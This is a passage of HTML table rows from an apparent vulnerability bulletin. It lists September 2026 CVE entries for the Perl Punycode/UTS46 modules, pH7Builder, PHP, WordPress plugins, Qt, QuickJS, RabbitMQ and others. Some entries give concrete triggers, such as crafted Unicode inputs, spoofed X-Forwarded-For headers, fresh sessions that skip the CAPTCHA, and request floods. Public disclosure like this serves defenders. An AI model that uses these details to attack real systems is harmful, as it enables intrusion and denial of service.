&lt;td class=&quot;vendor-product&quot;&gt;Perl--UTS46&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Net::IDN::UTS46 versions before 2.590 for Perl allow CPU exhaustion via quadratic punycode encoding of an overlong label before the length check in to_ascii. to_ascii punycode encodes each label and only then applies the 63-byte DNS limit. encode_punycode in both backends follows the sample implementation in RFC 3492, whose outer loop runs once per distinct non-ASCII code point and scans the whole input each round, so a label of distinct non-ASCII characters costs the square of its length before the limit rejects it. Every ASCII conversion in the distribution, including domain_to_ascii and email_to_ascii, goes through to_ascii.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87081&quot; target=&quot;_blank&quot;&gt;CVE-2026-87081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pH7Software pH7Builder--pH7 Social Dating CMS&lt;/td&gt;
&lt;td&gt;Improper Restriction of Excessive Authentication Attempts in the administration login of pH7Software pH7Builder (pH7 Social Dating CMS) through 19.2.0. The CAPTCHA escalation flag is stored in the PHP session as captcha_admin_enabled and the CAPTCHA form element is only built when that flag is present, so a remote unauthenticated attacker who obtains a new session before each login attempt is never presented with the challenge.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37603&quot; target=&quot;_blank&quot;&gt;CVE-2026-37603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pH7Software pH7Builder--pH7 Social Dating CMS&lt;/td&gt;
&lt;td&gt;pH7Software pH7Builder (pH7 Social Dating CMS) through 18.2.0 resolves the client IP address in _protected/framework/Ip/Ip.class.php from the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR headers without verifying the request comes from a trusted proxy. Because the admin login attempt counter and lockout are keyed on this value, a remote unauthenticated attacker bypasses IP-based throttling by sending a different X-Forwarded-For value per request&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37604&quot; target=&quot;_blank&quot;&gt;CVE-2026-37604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;On Windows, PHP&#039;s filesystem and stream APIs do not reject reserved device names such as CON, PRN, AUX, NUL, COM1 to COM9, LPT1 to LPT9, CONIN$ and CONOUT$ when they appear as a component of a path. An attacker-controlled filename therefore reaches CreateFileW() and opens a device instead of the regular file the application expected, which can block or hang the request and exhaust worker processes.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17545&quot; target=&quot;_blank&quot;&gt;CVE-2026-17545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Points and Rewards for WooCommerce--Points and Rewards for WooCommerce&lt;/td&gt;
&lt;td&gt;The Points and Rewards for WooCommerce WordPress plugin before 2.10.4 does not validate the claimed reward amount or restrict who can call its Win Wheel claim handler, allowing authenticated users, Subscriber and above, to credit their own account with an arbitrary and unlimited amount of loyalty points and, where a companion wallet Points and Rewards for WooCommerce WordPress plugin before 2.10.4 is active, wallet balance.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93510&quot; target=&quot;_blank&quot;&gt;CVE-2026-93510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PortSwigger--Burp Suite DAST&lt;/td&gt;
&lt;td&gt;In PortSwigger Burp Suite DAST (formerly Burp Suite Enterprise Edition) before 2026.8, an authentication bypass can occur via an alternate path or channel.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90481&quot; target=&quot;_blank&quot;&gt;CVE-2026-90481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Post Grid Gutenberg Blocks--Post Grid Gutenberg Blocks&lt;/td&gt;
&lt;td&gt;The Post Grid Gutenberg Blocks WordPress plugin before 5.0.41 does not perform an authorization or post-visibility check on a REST API route that returns the custom field keys of a given post, allowing unauthenticated users to disclose the custom field key names of arbitrary posts, including private, draft, pending, scheduled and password-protected posts.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86783&quot; target=&quot;_blank&quot;&gt;CVE-2026-86783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PowerPress Podcasting plugin by Blubrry--PowerPress Podcasting plugin by Blubrry&lt;/td&gt;
&lt;td&gt;The PowerPress Podcasting plugin by Blubrry WordPress plugin before 11.17.2 does not sanitize and escape a block attribute before outputting it in a page, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97319&quot; target=&quot;_blank&quot;&gt;CVE-2026-97319&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Premium Packages--Premium Packages&lt;/td&gt;
&lt;td&gt;The Premium Packages WordPress plugin before 7.2.1 does not verify PayPal&#039;s webhook signature before processing payment and subscription notifications, allowing unauthenticated attackers to forge payment confirmations and subscription-cancellation events against any order whose transaction id they know.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93511&quot; target=&quot;_blank&quot;&gt;CVE-2026-93511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Product Badge, Label, Countdown Timer for WooCommerce--Product Badge, Label, Countdown Timer for WooCommerce&lt;/td&gt;
&lt;td&gt;The Product Badge, Label, Countdown Timer for WooCommerce WordPress plugin before 7.5.2 does not check whether a product is published before returning its details to unauthenticated users, allowing them to read the title, description and price of draft, pending and private products.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88929&quot; target=&quot;_blank&quot;&gt;CVE-2026-88929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Punycode --Punycode&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Net::IDN::Punycode versions before 2.590 for Perl allow an out-of-bounds read via integer overflow of the delta accumulator in encode_punycode. The XS backend keeps the punycode delta, and the digit index derived from it, in a signed int. The accumulation `delta += (m-n) * (h+1)` has no overflow check, so a large enough code point wraps the delta and the digit index leaves the range of the 36-entry digit table. The bound before the final table access tests only for an index above 36, so a negative index passes it, as does 36 itself. Perl strings hold code points beyond the Unicode range, and one such code point overflows the accumulation on its own. Valid input wraps it as well, for example 1927 ASCII letters followed by U+10FFFF. The conversion functions encode a label before they check its length, so a long label reaches the encoder through the documented API. Only the XS backend is affected. Encoding an attacker-supplied string copies a byte from outside the digit table into the encoded result or crashes the process.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74765&quot; target=&quot;_blank&quot;&gt;CVE-2026-74765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Punycode --Punycode&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Net::IDN::Punycode versions from 2.301 before 2.590 for Perl allow a heap use-after-free via a decoded code point that reallocates the output buffer in decode_punycode. The XS backend inserts each decoded code point into the string buffer of the scalar it returns. decode_punycode computes the insertion pointer first and only then grows the buffer when the code point does not fit. The growth reallocates the buffer and updates every pointer except the insertion pointer, so the move that follows and the write of the code point go through a freed pointer. The buffer starts at twice the label length, and a code point above U+FFFF takes four bytes in the output, so a label of such code points outgrows it and forces the reallocation. Version 2.301, the fix for CVE-2016-15059, introduced the defect. Only the XS backend is affected. Decoding an attacker-supplied punycode label reads and writes freed heap memory.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74766&quot; target=&quot;_blank&quot;&gt;CVE-2026-74766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Punycode --Punycode&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Net::IDN::Punycode versions from 2.302 before 2.590 for Perl leak the output buffer on every rejected label in decode_punycode. The XS backend allocates the scalar it returns before it validates the input, sizing the buffer at twice the input length. The scalar is released only on the success path, so each of the three croaks that reject a label leaves the scalar and its buffer allocated. Nothing bounds the label length in the to-Unicode direction, since the 63-byte DNS limit is checked only when converting to ASCII. Only the XS backend is affected. A sender who supplies invalid labels grows the process by twice the label length per rejected call, with no successful call needed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87078&quot; target=&quot;_blank&quot;&gt;CVE-2026-87078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Punycode --Punycode&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Net::IDN::Punycode versions before 2.590 for Perl allow CPU exhaustion via quadratic insertion cost when decoding a long label in decode_punycode. The XS backend inserts each decoded code point into a UTF-8 buffer and finds the insertion point by scanning that buffer from the start, one character at a time. The scan runs once per code point over the output built so far, so the cost is quadratic in the label length. The pure-Perl backend downgrades its input to bytes so that substr can index it directly, but takes its working copy before the downgrade, so when the input carries the UTF-8 flag every substr on the copy scans from the start, with the same quadratic cost. Nothing bounds the label length in the to-Unicode direction. The 63-byte DNS limit is checked only when converting to ASCII, so domain_to_unicode and uts46_to_unicode pass an attacker-supplied label of any length to the decoder.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87079&quot; target=&quot;_blank&quot;&gt;CVE-2026-87079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Punycode --Punycode&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Net::IDN::Punycode::PP versions before 2.590 for Perl decode a truncated label to a name containing a character it never encoded in decode_punycode. The pure-Perl decoder reads one digit at a time with four-argument substr and tests the result with defined to detect the end of the input. substr on an exhausted string returns the empty string rather than undef, so decoding continues past the end. The empty string converts to a digit value below the range, reducing the accumulator, and the decoder derives one extra code point and its position from it. The result is deterministic. The XS backend rejects the same label. Net::IDN::Punycode uses this backend wherever the XS does not build. The two backends disagree about what such a label means, so a sender can pick a label that one installation resolves to a name and another rejects.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87080&quot; target=&quot;_blank&quot;&gt;CVE-2026-87080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Punycode--Punycode&lt;/td&gt;
&lt;td&gt;Net::IDN::Punycode versions before 2.301 for Perl allow a heap buffer overflow via unchecked writes past the output buffer in encode_punycode. The XS backend builds the encoded label in the string buffer of the scalar it returns, sized from the input length. The loop that emits the digits of each code point checks for room before every write, but the write of the last digit of each round and the write of the terminating NUL do not, so an input whose encoded form fills the buffer writes past its end. Only the XS backend is affected. Encoding an attacker-supplied string corrupts the heap.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2016-15059&quot; target=&quot;_blank&quot;&gt;CVE-2016-15059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;python-hyper--hpack&lt;/td&gt;
&lt;td&gt;hpack is an HTTP/2 Header Encoding for Python. Prior to version 4.2.0, unbounded variable integer decoding can cause run-away computation on malformed input leading to O(n^2) runtime, effectively blocking further processing with large enough unsanitized input. A fix is available in python-hyper/hpack v4.2.0 to restricted variable integer decoding to uint32 to prevent run-away computation. As a workaround, sanitize input to hpack decoder for long sequences of `0xFF` values to prevent malicious use.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59980&quot; target=&quot;_blank&quot;&gt;CVE-2026-59980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;qt--qt&lt;/td&gt;
&lt;td&gt;Uncontrolled recursion in QXmlStreamReader::readElementText() in Qt Group Qt allows attackers to cause a denial of service (application crash via stack exhaustion) via a crafted XML document.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78253&quot; target=&quot;_blank&quot;&gt;CVE-2026-78253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;qt--qt&lt;/td&gt;
&lt;td&gt;Out-of-bounds read while parsing untrusted SVG path strings in Qt Quick&#039;s Context2D.path / PathSvg.path.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79616&quot; target=&quot;_blank&quot;&gt;CVE-2026-79616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;qt--qt&lt;/td&gt;
&lt;td&gt;Authentication bypass vulnerability in the password authentication mechanism of the Qt VNC Server module. An attacker using a specially modified VNC client that violates the RFB protocol can bypass Qt VNC Server&#039;s password authentication and gain unauthorized remote access to the shared application, compromising the confidentiality and integrity of the session.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79680&quot; target=&quot;_blank&quot;&gt;CVE-2026-79680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;QuickJS--QuickJS&lt;/td&gt;
&lt;td&gt;QuickJS commit 04be24600 contains a heap out-of-bounds write condition in JS_ReadFunctionTag().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88378&quot; target=&quot;_blank&quot;&gt;CVE-2026-88378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.3.3, 4.2.9, 4.1.14, and 4.0.23, AMQP 1.0 management GET /bindings exposes full binding topology to any authenticated AMQP user without resource/management permission checks. the AMQP 1.0 HTTP-over-AMQP management endpoint GET /bindings (the rabbitamqpmanagement handler) enumerates bindings between an arbitrary source exchange and destination queue/exchange in the caller&#039;s virtual host without performing any resource-level permission check. Unlike every sibling operation in the same module (which call checkresourceaccess / bindingchecks), the GET handler ignores the authenticated User and returns the binding list unchanged. As a result, any authenticated AMQP 1.0 client that can open a management link pair , including users with no management/monitoring/policymaker/administrator tag , can enumerate the complete binding topology (source exchanges, destination queues/exchanges, routing keys, and binding arguments) of the virtual host they can access. The equivalent HTTP management API (GET /api/bindings) Confidentiality impact: a non-management AMQP 1.0 user can enumerate the complete routing topology of any virtual host it can connect to , every (source exchange, destination queue/exchange, routing key, binding arguments) This issue is fixed in versions 4.3.3, 4.2.9, 4.1.14, and 4.0.23.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61837&quot; target=&quot;_blank&quot;&gt;CVE-2026-61837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, The stream open handler calls only check_vhost_access; it omits the node/vhost/user connection-limit checks that rabbit_reader performs for AMQP. A developer %% FIXME comment at the cited line explicitly acknowledges the gap. No compensating enforcement exists in connection tracking or elsewhere in rabbitmq_stream. An authenticated tenant can fully bypass operator-configured per-user and per-vhost connection caps by connecting via port 5552 instead of 5672. Preconditions include rabbitmq_stream plugin enabled Authenticated stream-protocol credentials Operator relies on per-user/per-vhost connection limits for tenant isolation. This issue is fixed in versions 4.2.7 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66067&quot; target=&quot;_blank&quot;&gt;CVE-2026-66067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, ?LOG_DEBUG(&quot;shutting down Shovel &#039;~ts&#039;, ... Shovel state: ~tp&quot;, [Name, State]) formats the entire state map. The &#039;uris&#039; field holds plaintext URIs after credentials_obfuscation:decrypt (called in rabbit_shovel_util:deobfuscated_uris/2). No format_status/1,2 callback exists in rabbit_shovel_worker to redact it. Triggered when an autodelete shovel (src-delete-after = N) completes. With DEBUG logging enabled, autodelete-shovel completion writes the full shovel state map , including decrypted amqp://user:password@host/ URIs , to the broker log file. Preconditions include Shovel plugin enabled with URI-embedded credentials DEBUG log level (non-default) Autodelete shovel configuration Attacker has log read access. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66068&quot; target=&quot;_blank&quot;&gt;CVE-2026-66068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.1.13, 4.2.7, and 4.3.0, is_authorized/2 uses is_authorized_monitor for all methods. DELETE resets rabbit_core_metrics:reset_auth_attempt_metrics(). Impact is cosmetic (counters only, no log erasure), but inconsistent with rabbit_mgmt_wm_reset.erl which requires admin for the analogous operation. A monitoring-tagged user can reset the per-node authentication-attempt counters via DELETE /api/auth/attempts/:node, erasing evidence of brute-force activity. The sibling endpoint wm_reset requires administrator. Preconditions include Management plugin enabled monitoring tag. This issue is fixed in versions 4.1.13, 4.2.7, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66069&quot; target=&quot;_blank&quot;&gt;CVE-2026-66069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.17, 4.0.22, 4.1.13, and 4.2.6, match_origin/1 returned the bare reflected Origin and allowed credentials even when the wildcard &quot;&quot; was configured, so the response echoed the attacker&#039;s origin together with Access-Control-Allow-Credentials. The affected code is rabbit_mgmt_cors.erl. When the management plugin is configured with a wildcard CORS origin (cors_allow_origins = &quot;&quot;), the handler reflects the request Origin back in Access-Control-Allow-Origin and also sends Access-Control-Allow-Credentials: true. A malicious web page that a signed-in administrator visits can then use that administrator&#039;s cached HTTP Basic credentials to issue authenticated, state-changing requests to the management API. Preconditions include The management plugin is configured with the wildcard cors_allow_origins = &quot;*&quot;, which is an explicit operator misconfiguration A target administrator has a cached HTTP Basic-auth session in the browser. This issue is fixed in versions 3.13.17, 4.0.22, 4.1.13, and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66070&quot; target=&quot;_blank&quot;&gt;CVE-2026-66070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.15 and 4.0.22 and 4.1.11 and 4.2.6 and 4.3.1, Atom exhaustion: OAuth2 JWT tag: scope values. extractscopes/1 parses scopes of the form .tag: and calls rabbitdatacoercion:toatom() to convert to a tag atom. The token signature is verified first, so the attacker cannot forge scopes , but in IdP configurations where scope content is user-influenced, each login with a novel tag value leaks one In deployments where users can influence the scopes included in their IdP-issued JWT rabbitmqauthbackendoauth2 enabled IdP permits attacker-influenced scope values in signed tokens. This issue is fixed in versions 3.13.15 and 4.0.22 and 4.1.11 and 4.2.6 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66071&quot; target=&quot;_blank&quot;&gt;CVE-2026-66071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, get_chunk_selector/1 calls binary_to_atom on the raw client-supplied &amp;lt;&amp;lt;&quot;chunk_selector&quot;&amp;gt;&amp;gt; property from post-auth subscribe and resolve_offset_spec frames, with no whitelist and no existing guard. An authenticated stream client with read access to any stream can crash the broker node. Preconditions include rabbitmq_stream plugin enabled Authenticated stream-protocol user with read access to at least one stream. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66072&quot; target=&quot;_blank&quot;&gt;CVE-2026-66072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.15 and 4.0.20 and 4.1.11 and 4.2.6, Atom table exhaustion via management API node field. pUT /api/queues/:vhost/:name (and the exchanges and bindings endpoints) accepts a node JSON field. The value goes through rabbitnodes:make â†’ listtoatom with no cluster membership check first. Each unique value permanently leaks one atom. A March 2026 refactoring (ea61ce2563) introduced safe helpers in rabbitmgmtnodes.erl (parsenodename, safeatom, and requirenodename, using binarytoexistingatom) and fixed several callers (QQ replica ops, wmauthattempts, wmnodememoryets, getsortreverse, and rabbitfederationmgmt), but getnode/1 in rabbitmgmtutil.erl:880-885, the primary vector used by directrequest/6, was not Roughly 900K requests crash the VM via systemlimit, and all tenants lose Any user with the management tag and one vhost, the lowest privilege This issue is fixed in versions 3.13.15 and 4.0.20 and 4.1.11 and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66073&quot; target=&quot;_blank&quot;&gt;CVE-2026-66073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, match_value/3 passes the user-supplied ?name= regular expression to re:run with no match_limit option, and executes it once per resource in the result set. OTP&#039;s default 10M match_limit caps each call at roughly 100-200ms, but the regex runs once per resource in the result set. With a large set, for example 5000 queues at 150ms each, a single request consumes 12 or more minutes of CPU. Parallel requests saturate the schedulers. The use_regex=true option is a supported feature on list endpoints, so this path is reachable through normal API use. Preconditions include Any user with the management tag can exploit this.. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66074&quot; target=&quot;_blank&quot;&gt;CVE-2026-66074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, is_authorized/2 for the /federation-links/.../restart route uses is_authorized_monitor (accepts the monitoring tag), while allowed_methods permits DELETE and delete_resource/2 triggers rabbit_federation_link_sup:restart. There is no per-method elevation check and no comment marking it intentional. A read-only monitoring user can restart any federation link , a state-changing operation that disrupts message flow. Preconditions include rabbitmq_federation + rabbitmq_federation_management plugins enabled Attacker has credentials with the monitoring tag. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66075&quot; target=&quot;_blank&quot;&gt;CVE-2026-66075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, is_authorized/2 calls rabbit_mgmt_util:is_authorized/2, which checks only the management tag, instead of is_authorized_vhost/2. The /api/queues/quorum/:vhost/:queue/status handler reads the vhost from the path without checking that the user can access it. Any management-tagged user can therefore read Raft status, including leader, members, term, and commit index, for quorum queues in inaccessible vhosts, exposing cross-tenant queue names and cluster topology. The management plugin must be enabled and the attacker must have a management tag. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
